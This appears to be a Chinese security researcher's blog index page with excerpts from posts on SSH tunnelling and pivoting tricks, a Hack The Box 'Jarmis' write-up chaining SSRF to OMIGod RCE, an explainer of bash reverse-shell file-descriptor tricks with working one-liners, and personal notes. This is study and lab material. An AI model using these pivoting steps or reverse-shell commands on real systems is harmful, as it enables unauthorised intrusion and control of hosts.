2023年终总结

正好部门要做内部总结,顺带的把个人的年终总结写了把。

关于工作

今年我顺利毕业了,也找到了正式工作。依然是网络安全领域的攻击者,不过工作的中心不再是攻防演练而是网络犯罪打击。当然,若是公司有演练的需求,我们部门也会顶上的。

关于生活

关于去年的flag

关于2024年要做哪些事情

目前的想法还是做攻击,做破坏,做别人不让你做的事情。
hack the planet.

read more

2022年终总结

今年做了

说起来osed还有一段插曲,offsec在我一开始考完后不知道为什么抽风认定我作弊,检查了两个月最终认定我没有问题,给我发了证书

2023年的flag

read more

ssh建立隧道的trick

相比直接端口转发或者-D socks5 的一些其他利用

利用ssh配置tap网卡

优势

工作在数据链路层,能代理arp协议,dhcp协议,icmp协议。内网里利用LLMNR、NBT-NS、WPAD之类的trick都能用了。

劣势

在网络条件不佳的情况下数据包常常会有损坏,一般在目标内网里面用比较好。

使用限制

目标机器上的root权限

目标机器内网网段交换机允许未知mac入网

具体流程

  1. 编辑目标机器的/etc/sshd_config ,设置PermitTunnel yes,重启服务
  2. 攻击机执行sudo ssh -o Tunnel=ethernet -w 0:0 root@192.168.1.100
  3. 在目标服务器上依次运行
ip link add br0 type bridge    # 添加桥接网卡
ip link set ens160 master br0  # 目标更深一步内网的网卡名ens160
ip link set tap0 master br0    # tap网卡
ip link set tap0 up            # 开启tap网卡

  1. 在攻击机上运行
ip link set tap0 up # 开启tap网卡
  1. 在目标服务器上运行
ip link set br0 up     # 开启桥接网卡
  1. (可选)配置攻击机的dns服务器的地址为目标服务器的dns地址

修补手段

关闭sshd 服务端 PermitTunnel 配置并重启

交换机配置不允许未知mac入网

极端环境下的socks隧道

情景

只能ssh进入,所有出网都被封锁,ssh是低权限

目标sshd服务有配置permitTunnel gatewayports allowTcpForwarding 全部关闭,端口转发,-D socks隧道全部不能用。

具体流程

  1. 提前准备好socat可执行文件,目标机器上一份(可以scp传上去),本地一份

  2. 创建一个脚本tunnel.sh

ssh victim@192.168.1.100 "./socat TCP-LISTEN:9001,reuseaddr STDIO"
  1. 攻击机运行socat TCP:localhost:22 EXEC:./tunnel.sh

  2. 此时相当于绕过sshd限制做了一个正向的远程端口映射

  3. 进入受害者ssh内,运行ssh -R 1080 -p 9001 attacker@127.0.0.1 做一个经过代理的远程动态socks5

此时攻击者会开放本地1080端口,通过这个socks5能访问受害者的内网,绕过sshd的防御限制。

修补手段

编辑/etc/ssh_config 关闭客户端的端口转发

read more

HTB_Jarmis

好久没有在博客上发文章了,暑假忙着考OSWE一直没有写东西,上个月抽空给博客换了个主题,加了一个工具页,顺便把以前的低质量水文都清除掉了,这篇文章记录一下这两天在做的一道很有意思的HTB机器。

主要策略

重定向特定请求,构造Gopher包SSRF_2_RCE

有关技巧

识别SSRF点,构造恶意TLS服务重定向请求,iptables过滤重定向指定包

Recon

常规RECON略过不提,22,80端口,ubuntu 20.04, 访问80端口提示需要HOST头,修改HOSTS文件加上,再次访问,一个简易的网站: img
告诉我们这个网站是用来查找Jarm Hash的,我之前从来没听说过这玩意,放狗找了下大概是用hash来构造一个TLS服务的数据库,快速鉴别恶意服务。
对几个用户输入点一顿FUZZ,啥结果没有。
尝试暴力FUZZ子域名,啥也没有。
尝试对网页路径进行爆破,爆出一个docs路径,是api接口的手册
img
第三个接口很有意思,具备发起请求的能力,马上本地起一个TLS服务试一试,注意这里说will grab metadata,是之后SSRF的关键
img
img
收到回复,第一时间想到ssrf,于是测试127.0.0.1,这里我中招了浪费的好久时间,127.0.0.1等一系列都被过滤的很好,只有localhost能用
先用这个SSRF点对本地端口进行扫描 img
22,80 已知,新出现了5986和8001.因为80的端口是nginx反向代理,所以估计8001是本地监听的http服务,八成就是要打5986端口上的服务,然而5985,5986一般是windows的winrm服务,之前已知这台机器是Ubuntu,很奇怪,一开始以为是虚拟机,放狗找不到说SSRF能打winRM的,后来看到一篇文章,5986端口在Linux上有可能是OMI服务,有个CVE-2021-38647( OMIGod)能RCE,POC是简单HTTP POST请求,估计就是它了。这个服务5985和5986一般是成对存在的,我手动测5985也是活得,工具没有显示出来应该是timeout10秒设置太短了

exploit

然而,我们能控制服务发起一个请求,却无法控制请求的内容,这种SSRF一般都要用到重定向,然而我之前起的nc ssl服务,并没有看到能重定向的请求,这时前面说的会对恶意服务,抓元数据就是一个很明显的提示了,首先要先知道这个服务数据库里面存着那些恶意服务
for i in $(seq 0 222); do curl http://jarmis.htb/api/v1/search/id/$i>> jarms.json;done
先把数据下载下来,然后用jq分析
cat jarms.json| jq | less
cat jarms.json | jq '. | select(.ismalicious==true)' | less
img
cat jarms.json | jq -c '. | select(.ismalicious==true) | [.id, .note]'
img
起一个其中的metasploit看看是怎么抓元数据的,同时,起一个wireshark抓包
这里又遇到一个恶心的点,我的handler的jarmhash和数据库里的对不上,一直抓不到抓元数据的包,本来直接用http_basic.rb模块应该是很方便的。
没办法,只能换ncat
测试出只要jarm匹配,他就会发一个包去抓元数据,因此,重定向这个包来做SSRF。
可是因为用不了msf,筛选包的任务就落到别的程序上了,还好,iptables有这个功能。
翻了翻man page 构造出下列命令
sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
把发往我机器443端口的包,每11个包一组,在路由前,每匹配到10个包,就开始重定向到8443端口,也就刚好重定向第11个包。

$nc --ssl -lnp 8443
GET / HTTP/1.1
Host: 10.10.14.6
User-Agent: curl/7.74.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

收到请求

接下来就常规了,这个包是https的,所以为了方便,我起了个Flask

```python from flask import Flask, redirect from urllib.parse import quote app = Flask(name)

read more

关于文件描述符和重定向

众所周知,把shell的输入输出重定向到在我们监听下的端口处,就可以作为反弹shell用。
bash有个tcp的特性,用来进行网络重定向很方便,而且bash在现在的linux环境下基本是默认都有的,所以bash反弹shell也很常用。
但是好像讲反弹shell原理的都讲得不是很好。
我就把我的理解写一下。

从文件描述子开始

exec 5<>/dev/tcp/xx.xx.xx.xx/xxxx
bash下运行上述命令创建文件描述子5打开后述tcp流。
然后如果我们在反弹回来的端口上输入,在创建描述子的窗口进行cat <&5或者cat 0<&5
即:将5流的信息重定向到当前窗口的0流输入cat命令。
结果会是返回我们在端口处输入的值,cat命令干的就是0->1的活。 这时,要做的就是将这个流当作命令执行,并将执行后的1号流和2号流重定向到我们之前建立的5号流上(本质是一样的)。有人会问,重定向到我们之前的/dev/tcp/上行不行呢?可以,但是不够优雅,exec建立的文件描述子相当于打开文件,我们应该把结果发送到我们之前打开的文件上,这样比较像一个shell,如果结果返回的时候仍然用/dev/tcp我们应该再开一个nc监听,监听返回流,这属实不够优雅。 执行命令并返回结果的方法就有很多了,只要将结果返回我们的流,就类似于一个反弹shell了。 比如:
cat <&5 | while read line; do $line 2>&5 >&5; done
方法应该是特别多

关于常用的bash反弹命令

bash -i >& /dev/tcp/x.x.x.x/port 0>&1
很多人的解释我感觉都不对,其实最好理解的是要明白0、1、2只是被定义成输入输出错误罢了,本质上他们还是文件描述子,那就是双向的。
其实无论怎么样,只要把012这三条路都连到tcp上就行了,因为描述子是双向的,tcp是双向状态的,所以只要把三条路都连过去就可以了.
比如说这种:
bash -i > /dev/tcp/localhost/4444 0>&1 2>&1
如果按照所谓的重定向来理解,根本是看不懂的,但实际上,这就是把012三个流都连到tcp上,用起来是完全没有问题的,因为是tcp是有状态双向的,文件流也是双向的。用起来是完全没有问题的,不行可以自己搭建试一试。
把上面的符号换一换也是一样:
bash -i < /dev/tcp/localhost/4444 1<&0 2<&0
用起来也是很好用,完全没有什么影响。
这可以随便写,只要三个流都和到一起就可以了。
exec 5<>/dev/tcp/127.0.0.1/4444;bash -i 0<&5 1>&5 2>&5
上面这种新的反弹shell,明白了原理就随便写了。

read more

瞎扯淡

2022-06-30

web就是源码游戏,感觉社会工程才算渗透。

2022-07-12

今天被沈沉舟微博拉黑了,记录下。

2022-10-26

2022-11-04

写玩具的时候不要总是想着代码搞的多少漂亮,架构做的多么有可维护性,好多东西就是垃圾,真的好用自然回去重构,也只有真正明白了才能做好架构,先把功能实现是最重要的。

2022-12-03

感觉,现代的web程序,黑盒下比较容易出的是开源的一些涉及复杂操作的三方库因为没落实DevOps,会有ssrf或者任意文件读。 程序本身,iDOR是最容易出现的。

2023-03-28

唯心主义是人生意义的解。物质本身没有意义,一直纯理性就会陷入虚无。

2023-05-28

大学都要毕业了,还会做高中数学考砸了的噩梦而惊醒,真离谱。

2023-07-15

我想要变强,变得更强,但到底什么是更强呢? 我的职业生涯最终会走向那里,也不要想最终了,三年后我会在干什么? 我希望一年后我能回答这个问题。

2023-07-25

在国内的互联网环境下玩,找乐子,没法做到身份匿名的,关键是要身份隔离.什么身份干什么事

read more